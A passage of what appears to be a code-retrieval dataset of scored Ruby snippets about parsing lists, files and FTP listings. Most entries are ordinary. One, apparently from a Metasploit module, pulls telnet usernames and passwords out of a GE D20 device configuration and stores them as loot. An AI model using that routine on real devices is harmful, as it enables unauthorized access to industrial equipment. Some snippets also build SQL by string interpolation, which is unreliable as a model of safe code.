#{e}\"\n\n if force_utf8\n begin\n e_utf8 = ic.iconv(e)\n rescue Iconv::IllegalSequence\n @logger.error(\"Iconv::IllegalSequence, file ignored. raw data: \" + e)\n next\n end\n end\n entry = Net::FTP::List.parse(force_utf8 ? e_utf8 : e, ftp_type)\n\n next if ignored_dirs.include?(entry.basename)\n\n @entry_count += 1\n\n begin\n file_datetime = entry.file_datetime.strftime(\"%Y-%m-%d %H:%M:%S\")\n rescue => detail3\n puts(\"strftime failed, exception: \" + detail3.class.to_s + \" detail: \" + detail3.to_s)\n @logger.error(\"strftime failed, exception: \" + detail3.class.to_s + \" detail: \" + detail3.to_s) \n @logger.error(\"raw entry: \" + e)\n end\n\n sql = \"insert into #{in_swap ? 'ftp_entries' : 'swap_ftp_entries'}\"\n sql += \" (parent_id,name,size,entry_datetime,directory,ftp_server_id)\"\n entry_basename = entry.basename.gsub(\"'\",\"''\")\n sql += \" VALUES (#{parent_id || 0},'#{entry_basename}',#{entry.file_size},'#{file_datetime}',#{entry.dir? ? 1 : 0},#{id})\"\n\n entry_id = ActiveRecord::Base.connection.insert(sql)\n if entry.dir?\n ftp_path = (parent_path ? parent_path : '') + '/' +\n (force_utf8 ? ic_reverse.iconv(entry.basename) : entry.basename)\n get_list_of(ftp, ftp_path, entry_id)\n end\n\n end\n end",
"title": ""
},
{
"docid": "f0736cc157f2a436cf04cc97c7cc55e3",
"score": "0.56085175",
"text": "def wp_parse_list(list)\n return list if list.kind_of?(Array)\n list.split(/[\\s,]+/)\n end",
"title": ""
},
{
"docid": "0b5acb1db3461e937cb864cc7bbc428c",
"score": "0.5463891",
"text": "def get_list(dir = nil)\n @ftp.ls(dir)[3..-1]\n end",
"title": ""
},
{
"docid": "75fe35fb94ff5e332f6fbc9c82e9e3bb",
"score": "0.5406992",
"text": "def parse_entries\n entries = []\n entry_name = nil\n entry_body = []\n\n @content.each_line do |line|\n case line\n when /^\\s*$/ then\n next\n when /^\\w.*/ then\n entries << [entry_name, entry_body] if entry_name\n\n entry_name = $&\n\n begin\n time = Time.parse entry_name\n # HACK Ruby 1.8 does not raise ArgumentError for Time.parse \"Other\"\n entry_name = nil unless entry_name =~ /#{time.year}/\n rescue NoMethodError\n # HACK Ruby 2.1.2 and earlier raises NoMethodError if time part is absent\n entry_name.split ' ', 2\n rescue ArgumentError\n if /out of range/ =~ $!.message\n Time.parse(entry_name.split(' ', 2)[0]) rescue entry_name = nil\n else\n entry_name = nil\n end\n end\n\n entry_body = []\n when /^(\\t| {8})?\\*\\s*(.*)/ then # \"\\t* file.c (func): ...\"\n entry_body << $2\n when /^(\\t| {8})?\\s*(\\(.*)/ then # \"\\t(func): ...\"\n entry = $2\n\n if entry_body.last =~ /:/ then\n entry_body << entry\n else\n continue_entry_body entry_body, entry\n end\n when /^(\\t| {8})?\\s*(.*)/ then\n continue_entry_body entry_body, $2\n end\n end\n\n entries << [entry_name, entry_body] if entry_name\n\n entries.reject! do |(entry,_)|\n entry == nil\n end\n\n entries\n end",
"title": ""
},
{
"docid": "a3feffa8a936acbc3ec4eb5e1ef03c26",
"score": "0.539031",
"text": "def list\n @list ||= PublicSuffix::List::parse(File.new(list_path, \"r:utf-8\"))\n end",
"title": ""
},
{
"docid": "f241a7f322e201d920b4927ce1432bbb",
"score": "0.5322203",
"text": "def cmd_list(file_spec)\n cmd_listing_impl(file_spec, 'format_list_entry')\n end",
"title": ""
},
{
"docid": "f21d27d1b431e53f5741120a745b69da",
"score": "0.5301383",
"text": "def list(directory = nil)\n @ftp.nlst(directory)\n end",
"title": ""
},
{
"docid": "aa71c42a60be4e9d45ab63a1e39f8ca0",
"score": "0.5224486",
"text": "def list(msg) # :yields: nil\n response \"125 Opening ASCII mode data connection for file list\"\n send_data(`ls -l`.split(\"\\n\").join(LNBR) << LNBR)\n \"226 Transfer complete\"\n end",
"title": ""
},
{
"docid": "1ed8664a5505f1dd7fabe96b2e5c167c",
"score": "0.52117825",
"text": "def parse_file(file)\n\tbegin\n\t\tlist = []\n\t\thostlist = ::File.open(file, \"r\")\n\t\twhile (line = hostlist.gets)\n\t\t\tlist.push(\"#{line}\")\n\t\tend\n\t\thostlist.close\n\trescue => err\n\t\tputs \"Exception: #{err}\"\n\t\terr\n\tend\n\t\n\t\n\t#remove comments from computer accounts\n\tlist.map!{ |x| x.split(\" \")[0] }\n\t\n\t#strip off all the excess spaces\n\tlist.map!{ |x| x.strip }\n\treturn list\nend",
"title": ""
},
{
"docid": "7635da9a09d8c3e4e5d203ab3d49230a",
"score": "0.52047586",
"text": "def parse_user_list(msg_details)\n # we expect records separated by ;\n eol_flag = false\n state = :data_slice\n records_part = msg_details.split(\";\")\n if records_part.size == 0\n @log.error(\"user_list format error\")\n state = :error\n eol_flag = false\n return state, eol_flag\n end\n records_part.reverse!\n header_part = records_part.pop\n \n header_arr = header_part.split(\",\")\n if header_arr.size >= 2\n # a list is empty if the third elemt is the string \"empty\"\n # format is: \"0,eof,empty\"\n if header_arr[1] =~ /empty/\n # list is empty\n @log.debug(\"user_list is empty\")\n state = :list_empty\n eol_flag = true\n return state, eol_flag\n end\n else\n @log.error(\"user_list header format error\")\n state = :error\n eol_flag = false\n return state, eol_flag\n end\n\n #exams header\n list_ix = header_arr[0].to_i\n # check if it is the first list slice\n if list_ix == 0\n state = :first_slice\n end \n\n # process records\n @last_parsed_userlist_data = []\n record_item = records_part.pop\n while record_item\n record_data = record_item.split(\",\")\n if record_data\n if record_data.size == 4\n user_info_hash = {:name => record_data[0], \n :lag => record_data[1], :type => record_data[2], :stat => record_data[3]}\n @last_parsed_userlist_data << user_info_hash\n # update also the global pg_list\n nick = record_data[0]\n @userlist_table[nick] = user_info_hash\n else\n @log.warn \"user_list: ignored record malformed #{record_item}\"\n end \n end\n record_item = records_part.pop\n end\n\n # insert recognized records\n if @last_parsed_userlist_data.size > 0\n @log.debug \"user_list: recognized #{@last_parsed_userlist_data.size} users\"\n else\n @log.error \"user_list: no user found, but list not empty\"\n end\n\n # if the list of pending game is terminated then request a list of user\n if header_arr[1] =~ /eof/\n eol_flag = true\n end\n return state, eol_flag\n end",
"title": ""
},
{
"docid": "0adc4b470666f25d90b400473caa595b",
"score": "0.5191894",
"text": "def parse\r\n\t\tCSV.foreach(self.filepath) {|row| @list << row}\r\n\t\[email protected]!\r\n\tend",
"title": ""
},
{
"docid": "35dc99d0ce98b634d434a441e3b73ed0",
"score": "0.5190623",
"text": "def parse_list list_path\n list = Hash.new\n #If the file doesn't exist, don't bother right now.\n if !File.exist? list_path\n return list\n end\n\n file = File.new list_path\n file.readlines.each do\n |app|\n bin, uses = app.split /\\s+/\n list[bin] = uses.to_i\n end\n file.close\n\n return list\nend",
"title": ""
},
{
"docid": "f4af11732f4d3df1944291642842fd7b",
"score": "0.51632756",
"text": "def parse_list_cmd(position_str, listsize, center_correction=0)\n iseq = nil\n if position_str.empty?\n filename = frame_filename\n first = [1, frame_line - center_correction].max\n else\n ## FIXME: push into parse\n if RbConfig::CONFIG['target_os'].start_with?('mingw') and\n position_str =~ /^[A-Za-z]:/\n drive_letter = position_str[0..1]\n position_str = position_str[2..-1]\n else\n drive_leter = nil\n end\n list_cmd_parse = parse_list(position_str,\n :file_exists_proc => file_exists_proc)\n return [nil] * 4 unless list_cmd_parse\n last = list_cmd_parse.num\n position = list_cmd_parse.position\n\n if position.is_a?(String)\n if position == '-'\n return no_frame_msg_for_list unless frame_line\n first = [1, frame_line - 2*listsize - 1].max\n elsif position == '.'\n return no_frame_msg_for_list unless frame_line\n if (second = list_cmd_parse.num)\n first = frame_line \n last = adjust_last(first, second)\n else\n first = [1, frame_line - center_correction].max\n last = first + listsize - 1\n end\n end\n filename = frame_filename\n else\n meth_or_frame, filename, offset, offset_type = \n parse_position(position)\n return [nil] * 4 unless filename\n if offset_type == :line\n first = offset\n elsif meth_or_frame\n if iseq = meth_or_frame.iseq\n iseq, first, vm_offset = \n position_to_line_and_offset(iseq, filename, position, offset_type)\n unless first\n errmsg(\"Unable to get location in #{meth_or_frame}\")\n return [nil] * 4 \n end\n end\n elsif !offset \n first = 1\n else\n errmsg(\"Unable to parse list position #{position_str}\")\n return [nil] * 4\n end\n end\n end\n if last\n first, last = [first + last, first] if last < 0\n last = adjust_last(first, last)\n else\n first = [1, first - center_correction].max \n last = first + listsize - 1 unless last\n end\n if filename\n LineCache::cache(filename) unless LineCache::cached?(filename)\n else\n errmsg(\"Don't have a filename here\")\n end\n return [iseq, filename, first, last]\n end",
"title": ""
},
{
"docid": "d956fc183bbdca18740baae6205d90d9",
"score": "0.5159725",
"text": "def list(msg)\n response \"125 Opening ASCII mode data connection for file list\"\n send_data(`ls -l`.split(\"\\n\").join(LBRK) << LBRK)\n \"226 Transfer complete\"\n end",
"title": ""
},
{
"docid": "7d0cc380de7238ac15decd8d6407f7ec",
"score": "0.51374185",
"text": "def parse_mailbox_list(str, opt={})\n mailbox_list(str, opt)\n end",
"title": ""
},
{
"docid": "7d9c8b7b1e816f6763de94a08c8d6e68",
"score": "0.5087706",
"text": "def parse_list\n doc = REXML::Document.new(list)\n root = doc.root\n list_items = []\n root.elements.each(\"//atom:feed\") do |entry|\n item = {}\n entry.elements.each do |e|\n case e.name\n when \"id\", \"link\", \"updated\"\n item[e.name] = e.text\n when \"author\"\n item[e.name] ||= []\n e.elements.each(\"atom:name\") do |author|\n item[e.name] << author.text\n end\n end\n end\n list_items << item unless item.empty?\n end\n list_items\n end",
"title": ""
},
{
"docid": "c70435fc213afde4641300895c20cd1c",
"score": "0.50697494",
"text": "def parseusers(f, userentryptr)\n f.seek(userentryptr + 0x14)\n dstart = makefptr(f.read(4))\n f.seek(userentryptr + 0x1C)\n numentries = makelong(f.read(4))\n f.seek(userentryptr + 0x60)\n headerlen = makeword(f.read(2))\n f.seek(userentryptr + 40) # sorry decimal\n entrylen = makeword(f.read(2)) # sorry this is decimal\n logins = Rex::Text::Table.new(\n 'Header' => \"D20 usernames, passwords, and account levels\\n(use for TELNET authentication)\",\n 'Indent' => 1,\n 'Columns' => [\"Type\", \"User Name\", \"Password\"])\n\n 0.upto(numentries -1).each do |i|\n f.seek(dstart + headerlen + i * entrylen)\n accounttype = makeword(f.read(2))\n f.seek(dstart + headerlen + i * entrylen + 2)\n accountname = makestr(f, dstart + headerlen + i * entrylen + 2)\n f.seek(dstart + headerlen + i * entrylen + 2 + 22)\n accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)\n if accountname.size + accountpass.size > 44\n print_error(\"Bad account parsing at #{dstart + headerlen + i * entrylen}\")\n break\n end\n logins << [accounttype, accountname, accountpass]\n report_cred(\n ip: datastore['RHOST'],\n port: 23,\n service_name: 'telnet',\n user: accountname,\n password: accountpass,\n proof: accounttype\n )\n end\n if not logins.rows.empty?\n loot = store_loot(\n \"d20.user.creds\",\n \"text/csv\",\n datastore['RHOST'],\n logins.to_s,\n \"d20_user_creds.txt\",\n \"General Electric TELNET User Credentials\",\n datastore['RPORT']\n )\n print_line logins.to_s\n print_status(\"Loot stored in: #{loot}\")\n else\n print_error(\"No data collected\")\n end\n end",
"title": ""
},
{
"docid": "fc257f2296b3f1b933ee0667cad398d7",
"score": "0.50398415",
"text": "def list(options)\n ar_lines = @pwdata.split(\"\\n\")\n\n # if only has INIT_ENTRY, then don't display to user - just tell\n # him the safe is empty\n return nil if ar_lines.size == 1 and ar_lines[0] =~ /^#{INIT_ENTRY}\\s*$/\n\n if options[:pattern]\n str = options[:pattern].gsub(/\\*/, '[^:]*')\n re = /^#{str}/i\n ar_lines.select! { |e| re.match(e) }\n end\n\n if options[:what] == :name\n ar_entries = ar_lines.map do |entry|\n ar_toks = entry.split(':')\n tok = ar_toks[0]\n if ar_toks.size > 3\n tok = ar_toks[0...-2].join(':')\n end\n tok\n end\n return ar_entries.sort{|a,b| a.casecmp b}\n else\n return ar_lines.sort{|a,b| a.casecmp b}\n end\n end",
"title": ""
},
{
"docid": "55f2fdd8ad348ac15828eccb622830f3",
"score": "0.50320953",
"text": "def test_getfilelist\n server = nil\n testdir, pattern, tmpfile = mktestdir\n\n file = nil\n\n assert_nothing_raised {\n\n server = Puppet::Network::Handler.fileserver.new(\n\n :Local => true,\n\n :Config => false\n )\n }\n\n assert_nothing_raised {\n server.mount(testdir, \"test\")\n }\n\n # get our listing\n list = nil\n sfile = \"/test/tmpfile\"\n assert_nothing_raised {\n list = server.list(sfile, :manage, true, false)\n }\n\n output = \"/\\tfile\"\n\n # verify it got listed as a file\n assert_equal(output, list)\n\n # verify we got all fields\n assert(list !~ /\\t\\t/)\n\n # verify that we didn't get the directory itself\n list.split(\"\\n\").each { |line|\n assert(line !~ %r{remotefile})\n }\n\n # and then verify that the contents match\n contents = File.read(tmpfile)\n\n ret = nil\n assert_nothing_raised {\n ret = server.retrieve(sfile)\n }\n\n assert_equal(contents, ret)\n end",
"title": ""
},
{
"docid": "198a4cea95447f40180eb7b816b04dae",
"score": "0.50085884",
"text": "def cmd_list(param)\n send_unauthorised and return unless logged_in?\n send_response \"150 Opening ASCII mode data connection for file list\"\n\n param = '' if param.to_s == '-a'\n\n dir = File.join(@name_prefix.to_s, param.to_s)\n\n now = Time.now\n\n items = list_dir(build_path(param))\n lines = items.map do |item|\n \"#{item.directory ? 'd' : '-'}#{item.permissions || 'rwxrwxrwx'} 1 #{item.owner || 'owner'} #{item.group || 'group'} #{item.size || 0} #{(item.time || now).strftime(\"%b %d %H:%M\")} #{item.name}\"\n end\n send_outofband_data(lines)\n # send_action_not_taken\n end",
"title": ""
},
{
"docid": "b58defdcc7415716dce3325c8970b4b4",
"score": "0.49902546",
"text": "def parse_list\n super\n current_list = @tree.children.select { |element| LIST_TYPES.include?(element.type) }.last\n\n is_tasklist = false\n box_unchecked = '<input type=\"checkbox\" class=\"task-list-item-checkbox\" disabled=\"disabled\" />'\n box_checked = '<input type=\"checkbox\" class=\"task-list-item-checkbox\" ' \\\n 'disabled=\"disabled\" checked=\"checked\" />'\n\n current_list.children.each do |li|\n list_items = li.children\n next unless !list_items.empty? && list_items[0].type == :p\n\n # li -> p -> raw_text\n descendant = list_items[0].children[0].value\n checked = descendant.gsub!(/\\A\\s*\\[ \\]\\s+/, box_unchecked)\n unchecked = descendant.gsub!(/\\A\\s*\\[x\\]\\s+/i, box_checked)\n is_tasklist ||= checked || unchecked\n\n li.attr['class'] = 'task-list-item' if is_tasklist\n end\n\n current_list.attr['class'] = 'task-list' if is_tasklist\n\n true\n end",
"title": ""
},
{
"docid": "8b3e0be7d45c07a2220d43263c982745",
"score": "0.49667075",
"text": "def _ftp_endpoint(str, *opts)\n return nil unless str\n tuple = str.sub('(', '').gsub(',', ' ').split.collect { |x| x.to_i }\n return nil unless tuple.length == 6\n ip = (tuple[0] << 24) + (tuple[1] << 16) + (tuple[2] << 8) + tuple[3]\n port = (tuple[4] << 8) + tuple[5]\n [ ip, port, *opts ]\n end",
"title": ""
},
{
"docid": "d421e6a3dd96914d8d68d4571f63c7a2",
"score": "0.49565578",
"text": "def makelist(list)\n case list\n when String\n list = list.split(/[:;]/)\n else\n list = Array(list).map{ |path| path.to_s }\n end\n list.reject{ |path| path.strip.empty? }\n end",
"title": ""
},
{
"docid": "d421e6a3dd96914d8d68d4571f63c7a2",
"score": "0.49565578",
"text": "def makelist(list)\n case list\n when String\n list = list.split(/[:;]/)\n else\n list = Array(list).map{ |path| path.to_s }\n end\n list.reject{ |path| path.strip.empty? }\n end",
"title": ""
},
{
"docid": "d421e6a3dd96914d8d68d4571f63c7a2",
"score": "0.49565578",
"text": "def makelist(list)\n case list\n when String\n list = list.split(/[:;]/)\n else\n list = Array(list).map{ |path| path.to_s }\n end\n list.reject{ |path| path.strip.empty? }\n end",
"title": ""
},
{
"docid": "d1a7ba978d1abcf3355ae550b9aa11f6",
"score": "0.4953839",
"text": "def parse_attribute_list(str, opts); end",
"title": ""
},
{
"docid": "abb8916eb4fdc73c1fbad7fe9edeec51",
"score": "0.49398988",
"text": "def getHosts\n\n file = \"config.lst\"\n if File.exist?(file)\n lstArray = File.readlines(file).map do |line|\n # Used \";\" to avoid \\t (TAB) which is different across OS'es\n RemoteClient.new( *line.split(\"\\;\") )\n end\n end\n \n end",
"title": ""
},
{
"docid": "d59632a42fee765637eab84682def026",
"score": "0.49371505",
"text": "def parse_definition_list; end",
"title": ""
},
{
"docid": "c20afe949ce2f3df704d00a15e065746",
"score": "0.49334943",
"text": "def is_a_list?(file)\n !!(file =~ /list$/)\n end",
"title": ""
},
{
"docid": "a286cb1272d4f964417b15f8075a0236",
"score": "0.49258286",
"text": "def listCmd (cmdSock, sock)\n\tcmdSock.puts('LIST')\n\tnumFiles = cmdSock.gets.chomp\n\ti = 0\n\tif numFiles == 0\n\t\tputs \"No files available in the servers current file directory, try sending some files.\"\n\telse\n\t\trun = 1\n\t\twhile run == 1\n\t\t\ti += 1\n\t\t\tfName = sock.gets.chomp\n\t\t\tout = i.to_s + \") \" + fName\n\t\t\tputs out\n\t\t\tif i == numFiles.to_i\n\t\t\t\trun = 0\n\t\t\tend\n\t\tend\n\t\tputs \"End of list\"\n\tend\nend",
"title": ""
},
{
"docid": "4e5388b99dd2c614f14f0a5a7351b731",
"score": "0.49182087",
"text": "def parsef!(file: \"\")\n types = @type ? [@type] : VALID_TASKS\n\n File.open(file, \"r\") do |f|\n line_number = 1\n while line = f.gets\n types.each do |type|\n result = line.match(/#{Regexp.escape(type)}[\\s,:-]+(\\S.*)\\Z/) rescue nil\n\n unless result.nil?\n task = {\n file: file,\n line_number: line_number,\n task: result.to_a.last\n }\n\n @tasks[type.to_sym] << task\n end\n end\n\n line_number += 1\n end\n end\n end",
"title": ""
},
{
"docid": "2608f182a4ae1489ba9086b54aabccdd",
"score": "0.4913115",
"text": "def parse_list_response(xml)\n [ nodes_for(xml, 'files').collect{ |node| File.new(self, node) },\n nodes_for(xml, 'folders').collect{ |node| Folder.new(@rc, self, node) } ]\n end",
"title": ""
},
{
"docid": "2550bd544bf3f47f4e8ecf986fb3a95c",
"score": "0.49057588",
"text": "def maillist_dev\n maillist_parse(maillist_dev_file)\n end",
"title": ""
},
{
"docid": "8ade88e38ae9ab3cb86de5a5001651eb",
"score": "0.49026",
"text": "def ftp_listing(ftp, host)\n passdump=@@outdir + host + '-ftp_dump.txt'\n f=File.open(passdump, 'a+')\n welcome_msg = ftp.last_response\n pwd = ftp.pwd\n @base = pwd\n sys = ftp.system\n content = ftp.list(pwd)\n f.puts \"BANNER: \\n#{welcome_msg.chomp}\"\n f.puts \"SYS: #{sys.chomp}\"\n f.puts \"PWD: #{pwd.chomp}\"\n f.close\n print_good(\"BANNER:\\n#{welcome_msg.chomp}\")\n print_good(\"SYS: #{sys.chomp}\")\n print_good(\"PWD: #{pwd.chomp}\")\n ftp_scan(ftp, ftp.pwd, host)\n ftp.close\n puts\n end",
"title": ""
},
{
"docid": "926300fdb9c27134bd8f4f7bb518f1e1",
"score": "0.49000302",
"text": "def maillist_parse(file)\n maillist = []\n\n # if file doesn't exist, just return empty array, otherwise, parse for emails\n if File.exist?(file)\n File.readlines(file).each do |line|\n if index = (line =~ /\\#/)\n # line contains some kind of comment\n # check if there is any useful info, ignore it not\n unless line[0, index].strip.empty?\n maillist << Origen::Users::User.new(line[0, index].strip).email\n end\n else\n # if line is not empty, generate an email\n unless line.strip.empty?\n maillist << Origen::Users::User.new(line.strip).email\n end\n end\n end\n end\n maillist\n end",
"title": ""
},
{
"docid": "f6a7321bb39f12657174b0ed8863d1b0",
"score": "0.4873613",
"text": "def get_file_list(sequence_type,site_name)\n\n case sequence_type\n when 'asm'\n ftp_url = \"#{FTP_BASE_URLS['asm']}/#{site_name}/\"\n\n # get a file list from the FTP directory listing\n LOG.info \"Checking file list on FTP server at #{ftp_url} ...\"\n curl_res = `curl -l --progress-bar #{ftp_url}`\n print \"\\n\"\n\n file_list = curl_res.split(/\\n/).map { |f| \"#{ftp_url}#{f}\" }\n when 'rrna'\n require 'csv'\n ftp_url = \"#{FTP_BASE_URLS['rrna']}/\"\n\n # parse sample IDs from TSV sample ID map\n # linked from http://hmpdacc.org/micro_analysis/microbiome_analyses.php\n sample_ids_url = \"#{CONF_DIR}/ppAll_V35_map.txt\"\n file_list = CSV.new(File.open(sample_ids_url), { :headers => :first_row, :col_sep => \"\\t\" })\n .select { |line| line[-3] == site_name.capitalize && line[5] != 'Unavailable' }\n .map { |line| \"#{ftp_url}#{line[7]}.fsa.gz\" }\n .sort\n .uniq\n else\n raise \"Unknown sequence type '#{sequence_type}' requested.\"\n end\n\n file_list\n\nend",
"title": ""
},
{
"docid": "71c430f1d45e6d739584e692247f5646",
"score": "0.48693514",
"text": "def get_dirs_and_files(list, path)\n path ||= '.'\n dirs = []\n files = []\n list.each{|l|\n parsed = l.split ' '\n if parsed.size != 9\n puts \"parsed line '#{list}' into something that wasn't 9 pieces\"\n end\n if parsed[0][0] == 'd'\n dirs << \"#{path}/#{parsed[8]}\"\n else\n files << [\"#{path}/#{parsed[8]}\", parsed[4]]\n end\n }\n [dirs, files]\n end",
"title": ""
},
{
"docid": "2b85ff75e0be7d855bf8114fccc65149",
"score": "0.48676443",
"text": "def parse_files(*files); end",
"title": ""
},
{
"docid": "0f0dbe9dffdb45b7ddcb7ade75d19105",
"score": "0.48654643",
"text": "def parse(input)\n entries = []\n input = input.respond_to?(:readline) ? input : StringIO.new(input.to_s)\n begin\n while line = input.readline\n line.chomp!\n if line =~ /^([\\d.]+|-) .* \\[([^\\]]+)\\] \"((?:\\\\\"|[^\"])+)\" (\\d+)(?: (\\d+))?(?: (\\d+))? (\\d+) \"([^\"]+)\" \"([^\"]*)\"/\n # LogFormat \"%{X-mobile-source-IP}i via %h %l %u %t \\\"%r\\\" %>s %O \\\"%{Referer}i\\\" \\\"%{User-Agent}i\\\"\" debug_combined\n # - via 127.0.0.1 - - [15/May/2013:00:00:01 +0200] \"GET /jkmanager?mime=txt HTTP/1.0\" 200 26841 \"-\" \"Wget/1.12 (linux-gnu)\"\n # - via 10.38.252.251 - - [17/Jun/2013:00:28:01 +0200] \"~\\x81\\x10\\xb8\\xa8\\xa2\\x9fd3x\\x94\\x12\\\"2\\xedW\\xe1d\\xact\\xfdB&\\\"\\xe8\\xb0!\\xed\\xfc\\xe9M\\x92\\xf1\\xf3\\x97or\\rzP}FN^\\x18'\\xad\\x0c\\x8a\\xc9T\\x82)\\xb64\\x04\\xaa\\xa8\\xa9X\\xb3V\\x9a\\x87\\xa7G\\xc7}O^~\\\"\\xc3\" 400 88 205 679 \"-\" \"-\"\n entry = Entry.new\n entry.source_ip = $1\n entry.request = $3\n entry.status = $4.to_i\n entry.serve_time = $5.to_i if $5 # in microseconds\n entry.bytes_received = $6.to_i if $6\n entry.bytes_sent = $7.to_i # including headers\n entry.referer = $8\n entry.user_agent = $9\n entry.timestamp = DateTime.parse($2.sub(/:/, ' '))\n entries << entry\n else\n raise \"unrecognized input line: #{line}\"\n end\n end\n rescue EOFError\n end\n\n @entries += entries\n entries\n end",
"title": ""
},
{
"docid": "2745449216db78c095958139d4b1d324",
"score": "0.48601452",
"text": "def parse_line(line)\n return [] if line.nil? or line.empty?\n line.chomp(\"\\n\").split(\"\\t\")\n end",
"title": ""
},
{
"docid": "e98472462b5c966fde0c164f35f7221e",
"score": "0.4859252",
"text": "def list\n line = peek.line\n col = peek.column\n\n return unless match(:'[')\n\n items = []\n\n while (item = expr)\n items << item\n end\n\n expect(:']')\n\n Apparat::Byte::List.new(items, line, col)\n end",
"title": ""
},
{
"docid": "41318bb3b7863d36df203e483bb756d3",
"score": "0.48588797",
"text": "def parse_file_data\n current_category = nil\n todo_lines = []\n File.open(@config_file) {|fl| todo_lines = fl.readlines() }\n line_count = 0\n todo_lines.each do |todo_line|\n todo_line.strip!.chomp!\n next if todo_line.nil? or todo_line.empty?\n case todo_line\n when /^\\*{1}\\ (.+)?/\n current_category = $1\n line_count = 0\n @todo_container[current_category] ||= []\n when /^(\\*{2,})\\ TODO\\ (.+)?/\n priority = $1.size\n item = OpenStruct.new(:priority => priority, :flag => true, :text => $2,:index => line_count )\n line_count += 1\n @todo_container[current_category] << item\n when /^(\\*{2,})\\ DONE\\ (.+)?/\n priority = $1.size\n item = OpenStruct.new(:priority => priority, :flag => false, :text => $2,:index => line_count )\n line_count += 1\n @todo_container[current_category].push(item)\n end\n end\n end",
"title": ""
},
{
"docid": "1be58d37ccd55bd310564c7006b68f82",
"score": "0.4854981",
"text": "def parse_job_string job_list_string\n\t\t\t# split input lines\n\t\t\tarr = job_list_string.split(/\\r?\\n/)\n\t\t\t# strip all whitespace from lines\n\t\t\tarr.map! {|l| l.gsub(/\\s+/, '') }\n\t\t\t# strip pointers from lines\n\t\t\tarr.map! {|l| l.gsub(/=>/, '') }\n\t\t\t# get rid of empty lines\n\t\t\tarr.reject!(&:empty?)\n\t\t\tarr\n\t\tend",
"title": ""
},
{
"docid": "2b15a7ab8a1060490742f5f956f305a8",
"score": "0.4841963",
"text": "def parse_line(line)\n line_arr = line.split(':')\n type = line_arr.first.downcase\n days = line_arr.last.split(',')\n [type, days]\n end",
"title": ""
},
{
"docid": "671b1f8994faa70e7690d3c78e62ddbf",
"score": "0.48328692",
"text": "def listify(string)\n output = \"<ul>\\n\"\n string.gsub!(/\\:\\n/, \":\")\n arrayify = string.split(\"\\n\")\n arrayify.each do |line|\n line.strip!\n if line.length>0\n output << \"\\t<li>#{line}</li>\\n\"\n end\n end\n output << \"</ul>\\n\"\nend",
"title": ""
},
{
"docid": "f4f855f82a2b84910dcd788be1c0bf6f",
"score": "0.4828327",
"text": "def decode_list(raw, offset=0)\n list_raw, str_read = decode_string(raw, offset)\n\n list_read = 0\n list = []\n\n while list_raw.bytesize > list_read\n value, read = decode_string(list_raw, list_read)\n list << value\n list_read += read\n end\n\n if list_read != list_raw.bytesize\n raise DecodeError, \"bad strings list\"\n end\n\n [list, str_read]\n end",
"title": ""
},
{
"docid": "b344943bcabc37c63b93b80ed4de1e13",
"score": "0.48117372",
"text": "def parseShow(output, server, user, pass)\n status = \"\"\n lines = []\n output.split(\"\\n\").each do |line|\n if (line =~/^Queued/)\n status =\"queued\"\n elsif (line =~ /^Running/)\n status = \"running\"\n elsif (line =~/^Completed/)\n status = \"completed\"\n elsif(line =~/^CLI|^CGI/)\n job, u, group, p, desc = line.chomp.split(\" \")\n if (status == \"running\" && u == user)\n done = `dc_show -job #{job} -user #{user} -password #{pass} -server #{server}`\n if (done =~/([0-9|\\.]+\\%)/)\n status = status + \" \" + $1\n end\n end\n if (status != \"completed\")\n lines.push([job, user, server, status].join(\"\\t\"))\n end\n end\n end\n return lines\nend",
"title": ""
},
{
"docid": "18954f5c18dbb8dd859a618ab396abf6",
"score": "0.48023364",
"text": "def file_2_list(f,lc=true)\n puts \"Loading records from file: #{f}\" if @verbose\n begin\n list=Array.new\n file = File.open(f, \"r\")\n file.each_line do |line|\n line=line.chomp.strip\n next if line.nil?\n next if line.empty?\n next if line =~ /^\\s*#/\n line=line.downcase if lc==true\n list.push(line.chomp.strip)\n end\n file.close\n return list\n rescue => ee\n puts \"Exception on method #{__method__} for file #{f}: #{ee}\" if @verbose\n return nil\n end\n end",
"title": ""
},
{
"docid": "75c9b20eee76eefe611ff7bd2d9742de",
"score": "0.47958052",
"text": "def initialize( list )\r\n case list\r\n when String\r\n source = list && File.exist?( list ) ? File.readlines( list ) : list.lines\r\n when Array \r\n source = list\r\n else\r\n abort \"List can be given as a file name, String or Array. The class of the currently used list '#{list}' is: #{list.class}.\"\r\n end\r\n raw = source.map(&:chomp).select { |line| line if !line.match(/^\\s*$/) }\r\n @list = step raw\r\n end",
"title": ""
},
{
"docid": "44ecdfaaa98258314d304010fe9edd77",
"score": "0.4784907",
"text": "def parse!\n unless @type.nil? || VALID_TASKS.include?(@type)\n raise TaskList::Exceptions::InvalidTaskTypeError.new type: @type\n end\n\n @files.each { |f| parsef! file: f }\n end",
"title": ""
},
{
"docid": "d9160507ffb321a2fdb8e2f0d2cd04bc",
"score": "0.4781714",
"text": "def parse_list_marker(line, offset, indent)\n rest = line.slice(offset, line.length)\n match = nil\n spaces_after_marker = nil\n data = OpenStruct.new({\n :type => nil,\n :tight => true, # lists are tight by default\n :bullet_char => nil,\n :start => nil,\n :delimiter => nil,\n :padding => nil,\n :markerOffset => indent \n })\n\n return nil if rest.match(HRULE_REGEX)\n \n if match = rest.match(BULLET_LIST_MARKER_REGEX)\n spaces_after_marker = match[1].length\n data.type = 'Bullet'\n data.bullet_char = match[0][0]\n\n elsif match = rest.match(ORDERED_LIST_MARKER_REGEX)\n spaces_after_marker = match[3].length\n data.type = 'Ordered'\n data.start = match[1].to_i\n data.delimiter = match[2]\n else\n return nil\n end\n\n blank_item = (match[0].length == rest.length)\n\n if (spaces_after_marker >= 5 || spaces_after_marker < 1 || blank_item)\n data.padding = match[0].length - spaces_after_marker + 1\n else\n data.padding = match[0].length\n end\n data\n end",
"title": ""
},
{
"docid": "e3167933ca522f5902cf6c065dde468a",
"score": "0.47677216",
"text": "def parse_entry(entry)\n\t\tsubentries = entry.split(@flags[1])\n\t\tsubentries.shift\n\t\tsubentries.each do |subent|\n\t\t\tparse_subentry(subent)\n\t\tend \n\tend",
"title": ""
},
{
"docid": "c141d4549bb385bf412abd4726b1a2d2",
"score": "0.47630027",
